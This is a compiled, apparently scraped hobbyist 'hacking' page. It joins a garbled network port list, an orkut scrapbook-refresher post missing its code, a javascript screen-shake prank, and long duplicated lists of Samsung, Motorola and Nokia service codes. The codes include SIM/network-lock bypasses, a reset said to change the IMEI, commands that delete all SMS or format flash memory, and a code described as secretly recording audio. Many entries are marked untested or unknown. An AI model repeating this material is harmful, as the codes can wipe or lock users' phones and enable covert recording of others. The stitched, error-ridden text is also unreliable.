Ports are used in the TCP [RFC793] to name the ends of logical connections which carry long term conversations. For the purpose of providing services to unknown callers, a service contact port is defined. This list specifies the port used by the server process as its contact port.

Port Assignments for Common Ports:

Port UDP TCP Definition
7 x x echo
9 x x discard
11 x x systat
13 x x daytime
17 x x quote of the day
19 x character generator
20 x ftp - data
21 x ftp - control
23 x telnet
25 x smtp mail transfer
37 x x timeserver
39 x rlp resource location
42 x x nameserver
43 x nicname whois
53 x x dommainlein name server
67 x bootpc bootstrap protocol
68 x bootpc bootstrap protocol
69 x tftp trivial file transfer
70 x gopher
79 x finger
80 x http
88 x x kerberos
101 x hostname nic
102 x iso-tsap class 0
107 x rtelnet
109 x pop2
110 x pop3
111 x x sunrpc
113 x identification protocol
117 x uucp
119 x nntp
123 x ntp
135 x x epmap
137 x x netbios - name service
138 x netbios - dgm
139 x netbios - ssn
143 x imap
158 x pcmail - srv
161 x snmp
162 x snmptrap
170 x print - srv
179 x border gateway protocol
194 x irc internet relay chat
213 x ipx
389 x ldap
443 x x https (ssl)
445 x x microsoft - ds
464 x x kpasswd
500 x isakmp key exchange
512 x x remote execute
513 x x login / who
514 x x shell cmd / syslog
515 x printer spooler
517 x talk
518 x ntalk
520 x x router / efs
525 x timeserver
526 x tempo
530 x rpc
531 x conference chat
532 x netnews newsreader
533 x netwall
540 x uucp
543 x klogin
544 x kshell
550 x new - rwho
556 x remotefs
560 x rmonitor
561 x monitor
636 x ldaps over tls/ssl
666 x x doom id software
749 x x kerberos administration
750 x kerveros version iv
1109 x kpop
1167 x phone
1433 x x ms - sql - server
1434 x x ms - sql - monitor
1512 x x wins
1524 x ingreslock
1701 x l2tp
1723 x pptp point to point
1812 x radius authentication
1813 x radius accounting
2049 x nfs server
2053 x kerberos de - multiplexor
9535 x man remote server

orkut=Scrapbook refresher ! make ur own

Scrapbook refresher ! make ur own

do it urself

Easy trick for u guys.. m happy to share it wid d world
have seen many places u need to download stuff like this

why dont u do it urself. it just takes 2 minutes
m not kiddin

This Scrapbook Auto Refresher trick refreshes your scrapbook for every few seconds.

The default timer is set as 30 seconds.

If you want to change the default timer, follow the steps below.

1) Copy the code below in Notepad
2) Select 'save as'.
3) Save it as scrapbookrefresher.html
4) The code gets saved in ur default browser application, now view source.
5) Observe the 6th line ( )
6) Change the number "30" in the above line to the number of seconds you want.
7) Save the file by selecting File -> Save.
8) Close the notepad.
9) Double click (Opens in your Internet browser) on the scrapbookautorefresher.html file
to refresh your scrapbook for every few seconds.

Code
******************************************************************

Scrapbook Auto Refresher by ( http://rahulhackingarticles.wetpaint.com )

***************************************************************

ANYWAYS IF U WANNA SHAKE THE SCREEN COPY THE SCRIPT BELOW AND PASTE IT IN THE ADDRES BAR OF UR BROWSER.

javascript:function flood(n) {if (self.moveBy) {for (i = 15; i > 0; i--) {for (j = n; j > 0; j--){self.moveBy (1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} flood(6);{ var inp = "LUHAR LUHAR - - - LUHAR "; var outp = ""; for (i = 0; i <= inp.length; i++) { outp = inp.charAt (i) + outp ; } alert(outp) ;}; reverse();

see how easy it is..
Drop in ur comments !

Samsung Mobile Service Center CODES

Exclusive Stuff : Samsung Mobile

*#06# -> Show IMEI

*#9999# -> Show Software Version

*#0837# -> Show Software Version (instructions)

*#0001# -> Show Serial Parameters

*#9125# -> Activates the smiley when charging.
*#9998*228# -> Battery status (capacity, voltage, temperature)

*#9998*246# -> Program status

*#9998*289# -> Change Alarm Buzzer Frequenc
y
*#9998*324# -> Debug screens

*#9998*364# -> Watchdog

*#9998*377# -> EEPROM Error Stack - Use side keys to select values. Cancel and ok.

*#9998*427# -> Trace Watchdog

*#9998*523# -> Change LCD contrast - Only with version G60RL01W

*#9998*544# -> Jig detect

*#9998*636# -> Memory status

*#9998*746# -> SIM File Size

*#9998*778# -> SIM Service Table

*#9998*785# -> RTK (Run Time Kernel) errors - if ok then phn is reset, info is put in memory error. *#9998*786# -> Run, Last UP, Last DOWN

*#9998*837# -> Software Version

*#9998*842# -> Test Vibrator - Flash the screenligth during 10 seconds and vibration activated.

*#9998*862# -> Vocoder Reg - Normal, Earphone or carkit can be selected

*#9998*872# -> Diag

*#9998*947# -> Reset On Fatal Error

*#9998*999# -> Last/Chk
*#9998*9266# -> Yann debug screen (=Debug Screens?)

*#9998*9999# -> Software version
*0001*s*f*t# -> Changes serial parameters (s=?, f=0,1, t=0,1) (incomplete)
*0002*?# -> unknown
*0003*?# -> unknown

SP-unlock SGH-600 and SGH 2100
*2767*3855# -> Full EEPROM Reset ( THIS CODE REMOVES the Security Lock and formats The Mobile's Chipset )

But also changes IMEI to 447967-89-400044-0, To restore your old IMEI use the IMEI program found on the software page.

*2767*2878# -> Custom EEEPROM Reset ( does not change the securitu CODE )

SAMSUNG SECRET CODES (NEW)

SAMSUNG SECRET CODES (NEW)

LAtest

*#1111# S/W Version
*#1234# Firmware Version
*#2222# H/W Version
*#8999*8376263# All Versions Together

*#8999*8378# Test Menu
*#4777*8665# GPSR Tool
*#8999*523# LCD Brightness
*#8999*377# Error Menu
*#8999*327# EEP Menu
*#8999*3825523# Don't Know.
*#8999*667# Debug Mode
*#92782# PhoneModel (Wap)
#*5737425# JAVA Mode
*#2255# Call List
*#232337# Bluetooth MAC Adress
*#5282837# Java Version

#*4773# Incremental Redundancy
#*7752# 8 PSK uplink capability bit
#*7785# Reset wakeup & RTK timer cariables/variables
#*1200# ????
#*7200# Tone Generator Mute
#*3888# BLUETOOTH Test mode
#*#8999*324# ??
#*7828# Task screen
#*5111# ??
#*#8377466# S/W Version & H/W Version
#*2562# Restarts Phone
#*2565# No Blocking? General Defense.
#*3353# General Defense, Code Erased.
#*3837# Phone Hangs on White screen
#*3849# Restarts Phone
#*3851# Restarts Phone
#*3876# Restarts Phone
#*7222# Operation Typ: (Class C GSM)
#*7224# !!! ERROR !!!
#*7252# Operation Typ: (Class B GPRS)
#*7271# CMD: (Not Available)
#*7274# CMD: (Not Available)
#*7337# Restarts Phone (Resets Wap Settings)
#*2787# CRTP ON/OFF
#*2886# AutoAnswer ON/OFF
#*3737# L1 AFC
#*5133# L1 HO Data
#*7288# GPRS Detached/Attached
#*7287# GPRS Attached
#*7666# White Screen
#*7693# Sleep Deactivate/Activate
#*7284# L1 HO Data
#*2256# Calibration info? (For CMD set DEBUGAUTONOMY in cihard.opt)
#*2286# Databattery
#*2527# GPRS switching set to (Class 4, 8, 9, 10)
#*2679# Copycat feature Activa/Deactivate
#*3940# External looptest 9600 bps
#*4263# Handsfree mode Activate/Deactivate
#*4700# Please use function 2637
#*7352# BVMC Reg value (LOW_SWTOFF, NOMINAL_SWTOFF)
#*2558# Time ON
#*3370# Same as 4700
#*3941# External looptest 115200 bps
#*5176# L1 Sleep
#*7462# SIM Phase
#*7983# Voltage/Freq
#*7986# Voltage
#*8466# Old Time
#*2255# Call Failed
#*5187# L1C2G trace Activate/Deactivate
#*5376# DELETE ALL SMS!!!!
#*6837# Official Software Version: (0003000016000702)
#*7524# KCGPRS: (FF FF FF FF FF FF FF FF 07)
#*7562# LOCI GPRS: (FF FF FF FF FF FF FF FF FF FF FF FE FF 01)
#*2337# Permanent Registration Beep
#*2474# Charging Duration
#*2834# Audio Path (Handsfree)
#*3270# DCS Support Activate/Deactivate
#*3282# Data Activate/Deactivate
#*3476# EGSM Activate/Deactivate
#*3676# FORMAT FLASH VOLUME!!!
#*4760# GSM Activate/Deactivate
#*4864# White Screen
#*5171# L1P1
#*5172# L1P2
#*5173# L1P3
#*7326# Accessory
#*7683# Sleep variable
#*8465# Time in L1
#*2252# Current CAL
#*2836# AVDDSS Management Activate/Deactivate
#*3877# Dump of SPY trace
#*7728# RSAV
#*2677# Same as 4700
#*3797# Blinks 3D030300 in RED
#*3728# Time 2 Decod
#*3725# B4 last off
#*7372# Resetting the time to DPB variables
#*7732# Packet flow context bit Activate/Deactivate
#*6833# New uplink establishment Activate/Deactivate
#*3273# EGPRS multislot (Class 4, 8, 9, 10)
#*7722# RLC bitmap compression Activate/Deactivate
#*2351# Blinks 1347E201 in RED
#*4472# Hysteresis of serving cell: 3 dB
#*2775# Switch to 2 inner speaker
#*9270# Force WBS
#*7878# FirstStartup (0=NO, 1=YES)
#*3757# DSL UART speed set to (LOW, HIGH)
#*8726# Switches USBACM to Normal
#*8724# Switches USBACM to Generator mode
#*8727# Switches USBACM to Slink mode
#*8725# Switches USBACM to Loop-back mode
#*3838# Blinks 3D030300 in RED
#*2077# GPRS Switch
#*2027# GPRS Switch
#*0227# GPRS Switch
#*0277# GPRS Switch
#*22671# AMR REC START
#*22672# Stop AMR REC (File name: /a/multimedia/sounds/voice list/ENGMODE.amr)
#*22673# Pause REC
#*22674# Resume REC
#*22675# AMR Playback
#*22676# AMR Stop Play
#*22677# Pause Play
#*22678# Resume Play
#*77261# PCM Rec Req
#*77262# Stop PCM Rec
#*77263# PCM Playback
#*77264# PCM Stop Play
#*2872# CNT
*#8999*283# ???
#*22679# AMR Get Time
*288666# ???
*2886633# ???
*#8999*364# Watchdog ON/OFF
#*8370# Tfs4.0 Test 0
#*8371# Tfs4.0 Test 1
#*8372# Tfs4.0 Test 2
#*8373# Tfs4.0 Test 3
#*8374# Tfs4.0 Test 4
#*8375# Tfs4.0 Test 5
#*8376# Tfs4.0 Test 6
#*8377# Tfs4.0 Test 7
#*8378# Tfs4.0 Test 8
#*8379# Tfs4.0 Test 9
#837837# error=...

#*36245# Turns Email TestMenu on.

*2767*22236245# Email EPP set (....)!
*2767*837836245# Email Test Account!
*2767*29536245# Email Test2 Account!
*2767*036245# Email EPP reset!
*2767*136245# Email EPP set (1)!
*2767*736245# Email EPP set (7)!
*2767*3036245# Email...
*2767*3136245# Email...
*2767*3336245# Email...
*2767*3436245# Email...
*2767*3936245# Email...
*2767*4136245# Email...
*2767*4336245# Email...
*2767*4436245# Email...
*2767*4536245# Email...
*2767*4636245# Email...
*2767*4936245# Email...
*2767*6036245# Email...
*2767*6136245# Email...
*2767*6236245# Email...
*2767*6336245# Email...
*2767*6536245# Email...
*2767*6636245# Email...
*2767*8636245# Email...
*2767*85236245# Email...

*2767*3855# = E2P Full Reset
*2767*2878# = E2P Custom Reset
*2767*927# = E2P Wap Reset
*2767*226372# = E2P Camera Reset
*2767*688# Reset Mobile TV
#7263867# = RAM Dump (On or Off)
*2767*49927# = Germany WAP Settings
*2767*44927# = UK WAP Settings
*2767*31927# = Netherlands WAP Settings
*2767*420927# = Czech WAP Settings
*2767*43927# = Austria WAP Settings
*2767*39927# = Italy WAP Settings
*2767*33927# = France WAP Settings
*2767*351927# = Portugal WAP Settings
*2767*34927# = Spain WAP Settings
*2767*46927# = Sweden WAP Settings
*2767*380927# = Ukraine WAP Settings
*2767*7927# = Russia WAP Settings
*2767*30927# = GREECE WAP Settings
*2767*73738927# = WAP Settings Reset
*2767*49667# = Germany MMS Settings
*2767*44667# = UK MMS Settings
*2767*31667# = Netherlands MMS Settings
*2767*420667# = Czech MMS Settings
*2767*43667# = Austria MMS Settings
*2767*39667# = Italy MMS Settings
*2767*33667# = France MMS Settings
*2767*351667# = Portugal MMS Settings
*2767*34667# = Spain MMS Settings
*2767*46667# = Sweden MMS Settings
*2767*380667# = Ukraine MMS Settings
*2767*7667#. = Russia MMS Settings
*2767*30667# = GREECE MMS Settings

*#7465625# = Check the locks
*7465625*638*Code# = Enables Network lock
#7465625*638*Code# = Disables Network lock
*7465625*782*Code# = Enables Subset lock
#7465625*782*Code# = Disables Subset lock
*7465625*77*Code# = Enables SP lock
#7465625*77*Code# = Disables SP lock
*7465625*27*Code# = Enables CP lock
#7465625*27*Code# = Disables CP lock
*7465625*746*Code# = Enables SIM lock
#7465625*746*Code# = Disables SIM lock
*7465625*228# = Activa lock ON
#7465625*228# = Activa lock OFF
*7465625*28638# = Auto Network lock ON
#7465625*28638# = Auto Network lock OFF
*7465625*28782# = Auto subset lock ON
#7465625*28782# = Auto subset lock OFF
*7465625*2877# = Auto SP lock ON
#7465625*2877# = Auto SP lock OFF
*7465625*2827# = Auto CP lock ON
#7465625*2827# = Auto CP lock OFF
*7465625*28746# = Auto SIM lock ON
#7465625*28746# = Auto SIM lock OFF

**********************

#*7878# FirstStartup (0=NO, 1=YES)
#*3838# Blinks 3D030300 in RED
#*2077# GPRS Switch
#*2027# GPRS Switch
#*0227# GPRS Switch
#*0277# GPRS Switch
#*22671# AMR REC START
#*22672# Stop AMR REC (File name: /a/multimedia/sounds/voice list/ENGMODE.amr)
#*22673# Pause REC
#*22674# Resume REC
#*22675# AMR Playback
#*22676# AMR Stop Play
#*22677# Pause Play
#*22678# Resume Play
#*77261# PCM Rec Req
#*77262# Stop PCM Rec
#*77263# PCM Playback
#*77264# PCM Stop Play
#*22679# AMR Get Time
*#8999*364# Watchdog ON/OFF
*#8999*427# WATCHDOG signal route setup
*2767*3855# = Full Reset (Caution every stored data will be deleted.)
*2767*2878# = Custom Reset
*2767*927# = Wap Reset
*2767*226372# = Camera Reset (deletes photos)
*2767*688# Reset Mobile TV
#7263867# = RAM Dump (On or Off)
Samsung Secret Codes Part 3
*2767*49927# = Germany WAP Settings
*2767*44927# = UK WAP Settings
*2767*31927# = Netherlands WAP Settings
*2767*420927# = Czech WAP Settings
*2767*43927# = Austria WAP Settings
*2767*39927# = Italy WAP Settings
*2767*33927# = France WAP Settings
*2767*351927# = Portugal WAP Settings
*2767*34927# = Spain WAP Settings
*2767*46927# = Sweden WAP Settings
*2767*380927# = Ukraine WAP Settings
*2767*7927# = Russia WAP Settings
*2767*30927# = GREECE WAP Settings
*2767*73738927# = WAP Settings Reset
*2767*49667# = Germany MMS Settings
*2767*44667# = UK MMS Settings
*2767*31667# = Netherlands MMS Settings
*2767*420667# = Czech MMS Settings
*2767*43667# = Austria MMS Settings
*2767*39667# = Italy MMS Settings
*2767*33667# = France MMS Settings
*2767*351667# = Portugal MMS Settings
*2767*34667# = Spain MMS Settings
*2767*46667# = Sweden MMS Settings
*2767*380667# = Ukraine MMS Settings
*2767*7667#. = Russia MMS Settings
*2767*30667# = GREECE MMS Settings
*#7465625# = Check the phone lock status
*7465625*638*Code# = Enables Network lock
#7465625*638*Code# = Disables Network lock
*7465625*782*Code# = Enables Subset lock
#7465625*782*Code# = Disables Subset lock
*7465625*77*Code# = Enables SP lock
#7465625*77*Code# = Disables SP lock
*7465625*27*Code# = Enables CP lock
#7465625*27*Code# = Disables CP lock
*7465625*746*Code# = Enables SIM lock
#7465625*746*Code# = Disables SIM lock
*7465625*228# = Activa lock ON
#7465625*228# = Activa lock OFF
*7465625*28638# = Auto Network lock ON
#7465625*28638# = Auto Network lock OFF
*7465625*28782# = Auto subset lock ON
#7465625*28782# = Auto subset lock OFF
*7465625*2877# = Auto SP lock ON
#7465625*2877# = Auto SP lock OFF
*7465625*2827# = Auto CP lock ON
#7465625*2827# = Auto CP lock OFF
*7465625*28746# = Auto SIM lock ON
#7465625*28746# = Auto SIM lock OFF

Type *#9998*627837793# Go to the 'my parameters' and there you will find new menu where you can unlock phone.(not tested-for samsung C100)
To unlock a Samsung turn the phone off take the sim card and type the following code *#pw+15853649247w# .

Java status code: #*53696# (Samsung X600)

If you want to unlock your phone put a sim from another company then type *#9998*3323# it will reset your phone. Push exit and then push 7, it will reset again. Put your other sim in and it will say sim lock, type in 00000000 then it should be unlocked. Type in *0141# then the green call batton and it's unlocked to all networks. This code may not work on the older phones and some of the newer phones. If it doesn't work you will have to reset your phone without a sim in it by typing *#2767*2878# or *#9998*3855# (not tested)

*2767*688# = Unlocking Code
*#8999*8378# = All in one Code
*#4777*8665# = GPSR Tool
*#8999*523# = LCD Brightness
*#8999*3825523# = External Display
*#8999*377# = Errors
#*5737425# = JAVA Something{I choose 2 and it chrashed}][/b]
*#2255# = Call List

#*536961# = Java Status Code
#*536962# = Java Status Code
#*536963# = Java Status Code
#*53696# = Java Status Code

#*1200# = AFC DAC Val
#*1300# = IMEI
#*1400# = IMSI

#*2562# = ??? White for 15 secs than restarts.
#*2565# = Check Blocking
#*3353# = Check Code
#*3837# = ??? White for 15 secs than restarts.
#*3849# = ??? White for 15 secs than restarts.
#*3851# = ??? White for 15 secs than restarts.
#*3876# = ??? White for 15 secs than restarts.

#*7222# = Operation Typ (Class C GSM)
#*7224# = I Got !! ERROR !!
#*7252# = Oparation Typ (Class B GPRS)
#*7271# = Multi Slot (Class 1 GPRS)
#*7274# = Multi Slot (Class 4 GPRS)
#*7276# = Dunno
#*7337# = EEPROM Reset (Unlock and Resets WAP Settings)
#*2787# = CRTP ON/OFF
#*3737# = L1 Dbg data
#*5133# = L1 Dbg data
#*7288# = GPRS Attached
#*7287# = GPRS Detached
#*7666# = SrCell Data
#*7693# = Sleep Act/DeAct (Enable or Disable the Black screen after doing nothing for a while)
#*7284# = Class : B,C or GPRS
#*2256# = Calibration Info
#*2286# = Battery Data
#*2527# = GPRS Switching (set to: class 4, class 8, class 9 or class 10)
#*2679# = Copycat feature (Activate or Deactivate)
#*3940# = External loop test 9600 bps
#*4263# = Handsfree mode (Activate or Deactivate)
#*4700# = Half Rate (Activate or Deactivate)
#*7352# = BVMC Reg value
#*8462# = Sleeptime
#*2558# = Time ON
#*3370# = EFR (Activate or Deactivate)
#*3941# = External looptest 115200 bps
#*5176# = L1 Sleep
#*7462# = SIM phase
#*7983# = Voltage/Frequenci (Activate or Deactivate)
#*7986# = Voltage (Activate or Deactivate)
#*8466# = Old time
#*2255# = Call ???
#*5187# = L1C2G trace (Activate or Deactivate)
#*5376# = ??? White for 15 secs than restarts.
#*6837# = Official Software Version
#*7524# = KCGPRS
#*7562# = LOCI GPRS
#*7638# = RLC allways open ended TBF (Activate or Deactivate)
#*7632# = Sleep mode Debug
#*7673# = Sleep mode RESET
#*2337# = Permanent Registration Beep
#*2474# = ???
#*2834# = Audio Path
#*3270# = DCS support (Activate or Deactivate)
#*3282# = Data (Activate or Deactivate)
#*3476# = EGSM (Activate or Deactivate)
#*3676# = Flash volume formated
#*4760# = GSM (Activate or Deactivate)
#*4864# = Dunno doesn't work on newer versions
#*5171# = L1P1
#*5172# = L1P2
#*5173# = L1P3
#*7326# = Accessory (I got Vibrator)
#*7683# = Sleep variable (
#*7762# = SMS Brearer CS (Activate or Deactivate)
#*8465# = Time in L1
#*9795# = wtls key
#*2252# = Current CAL
#*2836# = AVDDSS Management (Activate or Deactivate)
#*3877# = Dump of SPY trace
#*7728# = RSAV done# (Everything went to standart but nothing was deleted)
#*2677# = ARM State (None or Full Rate)
*#8999*636# = Have no clue what it is, i see 20 lines
*#9999# = Software version
*#8999*8376263# = HW ver, SW ver and Build Date
*#8888# = HW version
*#8377466# = Same HW/SW version thing

*#7465625# = Check the locks
*7465625*638*Code# = Enables Network lock
#7465625*638*Code# = Disables Network lock
*7465625*782*Code# = Enables Subset lock
#7465625*782*Code# = Disables Subset lock
*7465625*77*Code# = Enables SP lock
#7465625*77*Code# = Disables SP lock
*7465625*27*Code# = Enables CP lock

#7465625*638*Code# = Disables Network lock
*7465625*782*Code# = Enables Subset lock
#7465625*782*Code# = Disables Subset lock
*7465625*77*Code# = Enables SP lock
#7465625*77*Code# = Disables SP lock
*7465625*27*Code# = Enables CP lock
#7465625*27*Code# = Disables CP lock
*7465625*746*Code# = Enables SIM lock
#7465625*746*Code# = Disables SIM lock
*7465625*228# = Activa lock ON
#7465625*228# = Activa lock OFF
*7465625*28638# = Auto Network lock ON
#7465625*28638# = Auto Network lock OFF
*7465625*28782# = Auto subset lock ON
#7465625*28782# = Auto subset lock OFF
*7465625*2877# = Auto SP lock ON
#7465625*2877# = Auto SP lock OFF
*7465625*2827# = Auto CP lock ON
#7465625*2827# = Auto CP lock OFF
*7465625*28746# = Auto SIM lock ON
#7465625*28746# = Auto SIM lock OFF

*2767*3855# = E2P Full Reset
*2767*2878# = E2P Custom Reset
*2767*927# = E2P WAP Reset
*2767*226372# = E2P Camera Reset
#*6420# = MIC Off
#*6421# = MIC On
#*6422# = MIC Data
#*6428# = MIC Measurement
#*3230# = Trace enable and DCD disable
#*3231# = Trace disable and DCD enable
#*3232# = Current Mode
#7263867# = RAM Dump (On or Off)
*2767*49927# = Germany WAP Settings
*2767*44927# = UK WAP Settings
*2767*31927# = Netherlands WAP Settings
*2767*420927# = Czech WAP Settings
*2767*43927# = Austria WAP Settings
*2767*39927# = Italy WAP Settings
*2767*33927# = France WAP Settings
*2767*351927# = Portugal WAP Settings
*2767*34927# = Spain WAP Settings
*2767*46927# = Sweden WAP Settings
*2767*380927# = Ukraine WAP Settings
*2767*7927# = Russia WAP Settings
*2767*30927# = GREECE WAP Settings
*2767*73738927# = WAP Settings Reset
*2767*49667# = Germany MMS Settings
*2767*44667# = UK MMS Settings
*2767*31667# = Netherlands MMS Settings
*2767*420667# = Czech MMS Settings
*2767*43667# = Austria MMS Settings
*2767*39667# = Italy MMS Settings
*2767*33667# = France MMS Settings
*2767*351667# = Portugal MMS Settings
*2767*34667# = Spain MMS Settings
*2767*46667# = Sweden MMS Settings
*2767*380667# = Ukraine MMS Settings
*2767*7667#. = Russia MMS Settings
*2767*30667# = GREECE MMS Settings
*335# = Delete all MMS Messages
*663867# = Dump Mm file
#*536961# = WAPSAR enable / HTTP disable
#*536962# = WAPSAR disable / HTTP enable
#*536963# = Serial eable / Others disable
#*53696# = Java Download Mode
#*5663351# = WAP Model ID [Your Model]
#*5663352# = WAP Model ID [SEC-SGHXXXX/1.0]
#*566335# = WAP Model ID [SEC-SGHXXXX/1.0]
*2767*66335# = Check on which model it is
*2767*7100# = SEC-SGHS100/1.0
*2767*8200# = SEC-SGHV200/1.0
*2767*7300# = SEC-SGHS300/1.0
*2767*7650# = Nokia7650/1.0
*2767*2877368# = Reset WAP Model ID to standart

Samsung D series hack

Samsung D series hack

hey hackers well samsung d820 is the phone i use personally..
thought getting some hack codes..

hmm SUCCESS

try dese out

Tips and Tricks for the D820, D900, and other Samsung phones with similar firmware.

#*22671* - Starts the phone recording in the background. It can record up to an hour, secretly. Press #*22672*

Holding the volume button when the screen is off displays a short summary of information. Time, Date, signal, missed calls, etc...

Enter code *#1234# to display Firmware version of the phone
Example : D900XAFG6
D900 = model
XA = Region / Country
F = Year (2006)
G = Month (July)
6 = Firmware Release in month (so this is the 6th revision)

Hold down # to mute, or unmute the phone.

Press 1 while watching a video to make it full screen.

While playing a song in music player u can highlight a part of the song to be repeated over, while listening to the song press 7 at the point u want repeated then press 7 again at the end of the section and it will loop the section between the the two presses of 7

If you need to send a photo via mms and its too big to send and u have no pc available to downsize the pic (my limit is 100kb via mms with my sim) open the photo in photo editor on the phone and "save as" rename it differently from the original and u will have two copys of the pic and the edited version will be under 100kb.

Hidden Menu: *#8999*8378#

Make MP3 sound louder:
1. hit: *#8999*8378#
2. hit: 2, and then 2 again.
3. then on IIS NORMAL (or hit 9)
4. then on "Rx vol."
5. for level 10, click 0
then save

Orignals are:
level 10 = 10
level 9 = 18

Make sound setting louder when som1s calling:
1. *#8999*8378#
2. 2 times 2
3. 1 (NORMAL)
4. then on "Rx vol."
5. level 5 type 140 instead of 120

Motorola Secret Codes

Motorola Secret Codes
Code to lock keys. Press together *7
Note: [] (pause) means the * key held in until box appears.
Select phone line - (use this to write things below the provider name):
[] [] [] 0 0 8 [] 1 []
Add phonebook to main menu:
[] [] [] 1 0 5 [] 1 []
Add messages to main menu:
[] [] [] 1 0 7 [] 1 []
Copy SIM memory (phonebook menu):
[] [] [] 1 0 8 [] 1 []
Eng Field options (main menu):
[] [] [] 1 1 3 [] 1 []
Slow (Frequency of search menu):
[] [] [] 1 0 1 [] 1 []
Medium (Frequency of search menu):
[] [] [] 1 0 2 [] 1 []
Fast (Frequency of search menu):
[] [] [] 1 0 3 [] 1 []
Enable EFR:
[] [] [] 1 1 9 [] 1 []
Function :
[] [] [] # # # [] 1 []
Change pin:
[] [] [] 0 0 4 [] 1 []
Unblocking using the "puk" number:
[] [] [] 0 0 5 [] 1 []
There are lots of similar codes exist. If you change the last number to 0 you can deactive that code. The 3 digit number at the middle are from 0 to 999. I put the most interesting codes. (EFR):Enhanced Full Rate Codec.
You can change GSM frequencies to 900/1800 by entering the enginnering model. Following the below steps:
enter menu and press 048263* quickly, then you will enter the secret engineering menu
under "Opcode"
input 10*0*3 for GSM 900
10*0*4 for GSM 1800
10*0*5 for GSM 1900
10*0*6 for dual band GSM 900/1800
10*0*7 for dual band GSM 850/1900
To add extra message space 4 your Motorola C350 C450 C550 or C650, press menu button, press 048263* quickly, then on the popup menu enter 47 press ok.press 50 and ok.press 1 ok.press 64 ok.press 1 ok.press 186 and ok.You will receive an extra 50 msgs memory space.Switch phone off and back on

Mixed Bag (Good0mobile code

Mixed Bag (Good)
Mobile Secret Codes

Nokia 31xx
____________

Firmware version
*#0000# or *#3110#
IMEI Code
*# 06 #
Restores Factory Settings
*#7780#
Warranty Codes
*#92702689# (= *#war0anty#)

Just scroll down through the information. If entering the above code requires a
further warranty code try entering the following:

6232 (OK) : Month and year of manufacture
7332 (OK) : Last repair date
7832 (OK) : Purchase date (if previously set)
9268 (OK) : Serial number
37832 (OK) : Set purchase date (this can only be done once)
87267 (OK) : Confirm transfer

Nokia 5110
_____________

IMEI Number *#06#
For checking the IMEI (International Mobile Equipment Identity).
---------------------------------------------------------
Security Code 12345
Default security code is 12345. If you forgot your security code, there s so many program on the net which allowed you to know the security code likes Security ID Generator, Nokia IMEI Changer, etc.

update:
Security ID Generator (SID.EXE) and IMEI Generator (NOKIAIMEI.EXE) doesn t works with Nokia 5110
Resetting Security Code

If you accidentally lock the phone or forgot the security code, the best thing to do is check it with your local Nokia dealer. For advanced user, you can use WinTesla, PCLocals or LogoManager program to read the security code or resetting the code (You will need an FBUS/MBUS (or compatible) cable to do this.
---------------------------------------------------------
Software Version *#0000#
For checking the phones software (SW) - called firmware revision information.
e.q : Version V. 4.51 (26-03-98) will display
V 04.51
26-03-98
NSE-1

first line:
The Software Version (my guess is that this software has been used in previously Nokia-phones, what do you say?!).

second line:
The Date of the SW release.

third line:
NHE-8 has something to do with the type of phone you are dealing with. Is it GSM 900 (standard), GSM 1800 (DCS1800) or GSM 1900 (PCS1900)?
Nokia 2110, 3110, 8110(i) are all NHE types. The only thing that vary is the code after NHE- ("8").
NHE = GSM 900, NHK =GSM 1800 - The number in the end = the model (2110i = 4 etc.)
The 5110 and 6110 is called NSE-1 and NSE-3...this may be because it supports EFR (?)

update:
Newest Software Version was V5.22 (xx-xx-99)
V 05.22
01-07-99
NSE-1

If your software version is V4.00, upgrade your software version to latest version. V4.00 contains bugs that sometimes will show message,
"SIM Card Not Ready" even the card is already inside the phone.
---------------------------------------------------------

Software Update
The only thing to do (for you and me) is for us to go to the nearest Nokia dealer and make him do it for you. Just remember that it is supposed to be free (a receipt is required) so don t let him tell you anything else!
---------------------------------------------------------

SIM clock *#746025625# [*#sim0clock#]
to check if the Sim-Clock can be Stopped. This option is depen on your service provider network. (Sim-clock-stop is a kind of standby mode which will save battery time)

update:
This code doesn t work on phone with software version 4.59.
---------------------------------------------------------

Waranty Code *#92702689# [*#war0anty#]
Menu:
Displays Serial Number.
Displays the Month and Year of Manufacture (0698)
Displays (if there) the date where the phone was purchased (MMYY) you can here set the Purchasing Date
(Warning: You can only do this once - so be careful what you write)
Displays the date of the last repairment - if found (0000)
The next screen has Transfer User Data? (the same option as the 8110)
To exit turn the phone off and then back on.
---------------------------------------------------------

SP Lock The Service provider (SP) lock
Is used to lock the cell phone to the SP s SIM card. Once the cell phone is locked to a specific operator, if one inserts a SIM card from a different operator the phone will refuse to accept it!
The cell phone will however accept another SIM card from the same operator.

All Nokia phones (2110 and newer) have four different SIM locks which can be used to lock the phone for up to 4 different providers. But most phones with restriction only have one lock activated. ( lock 1)
The main code used in Nokia phones is:

#pw+(master code)+Y#

This code is able to check, activate or remove Sim card restriction (SP-lock).
Use the * key to get the p, + and w chars.
Y has to be 1,2,3 or 4 - depending of what lock you what to deal with.

#pw+1234567890+1# for Provider-Lock status
#pw+1234567890+2# for Network-Lock status
#pw+1234567890+3# for Provider(???)-Lock status
#pw+1234567890+4# for SimCard-Lock status

(master code) is a 10 digit code, based on the phones IMEI number.
(I can NOT give you the master code SO DON T ASK ME FOR IT! )

Please click here to learn more about how to obtain mastercode and find out the lock status of your phone
eq. To remove restriction on lock 1 type following code:

#pw+(master code)+1#

If you just want to check your phone use 10 random numbers Eg. 1234567890 as the (master code)
eq. To check if phone if restricted on lock 1 type the following code:

#pw+1234567890+1#

Please NOTE that these codes could be used with care!
A user told me that it s only possible to type in about 3 different codes on each lock! Then something bad will happen ..therefore be careful!
---------------------------------------------------------

How can I check what locks have my phone closed?

There is 2 methods:
Use winlock to see the state of the locks, pressing Read Info.The Counter is the number of times that you have tried unlock your phone using an incorrect master code.
You can check it entering an imaginary mastercode on your phone but, it s not recommended because if you try enter a code 5 times your phone will not work anymore. By example, if you press at your phone #pw+1234567890+2# (note that # , p , w and + characters must be selected from * key) and your phone give you Code Error then your phone have lock 2 closed, if you get the message SIM Restriction Off your phone have lock 2 opened.
Look the table above to see how can check all locks:

Lock number Description Sequence to Check
1 Provider Lock #pw+1234567890+1#
2 Network-Lock #pw+1234567890+2#
3 Another Provider Lock #pw+1234567890+3#
4 SIM Card Lock #pw+1234567890+4#
---------------------------------------------------------
Unlock SP-Lock
Here is a way to Unlock your phone which is Service Provider locked, without to know SPLock code. With a Nokia 16xx/21xx/31xx/51xx/81xx that are SIMlocked to one privider you can bypass the SP lock like this:

First of all, PIN CODE MUST BE ON, then press:

C

C and hold until it clears display
* and hold until start to blink
* and hold until start to blink
04***your pin>#

Each time you turn your phone OFF it resets the lock, so this need to be done each time you ll turn your phone ON

